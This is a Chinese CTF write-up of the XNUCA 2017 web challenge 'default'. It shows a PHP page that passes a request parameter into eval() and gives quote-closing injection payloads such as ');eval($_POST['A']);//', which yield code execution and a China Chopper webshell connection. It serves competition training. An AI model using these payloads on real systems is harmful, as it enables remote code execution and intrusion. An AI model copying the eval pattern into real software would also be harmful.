Chybeta

XNUCA 2017-Web专题赛前指导-default-writeup

代码执行,闭合构造

题目:

1
2
3
描述:主页都没有了,就不要扫我了
http://218.76.35.74:20131

Solution

此时不扫更待何时。。。扫出一个 index2.php:

1
2
3
4
5
6
7
8
<?php
include "flag2.php";
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");

传入的参数会经过var_dump(),这里给出两种payload。

payload1

1
2
3
4
5
?hello=);eval($_POST['A']);%2f%2f
?hello=);eval(phpinfo());//

var_dump($a);后的结果为

1
string(22) ");eval($_POST['A']);//"


1
eval("string(21) ");eval($_GET['A']);//"");

payload2

1
?hello=);eval($_GET[c]&c=phpinfo();

var_dump()后的结果是

1
string(15) ");eval($_GET[c]"


1
eval("string(17) ");eval($_GET[c]" string(0) "" ");

因此可以通过构造闭合引号。用菜刀连上:

真正的flag在flag1.php里。得到flag:

1
F8871804DD8C20C66D2386B3E51ADEC4

题外话

已将此题收录进 CTF-Web-Challenge

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:XNUCA 2017-Web专题赛前指导-default-writeup

文章作者:chybeta

发布时间:2017年08月16日 - 19:08

最后更新:2017年08月18日 - 19:08

原始链接:http://chybeta.github.io/2017/08/16/XNUCA-2017-Web专题赛前指导-default-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。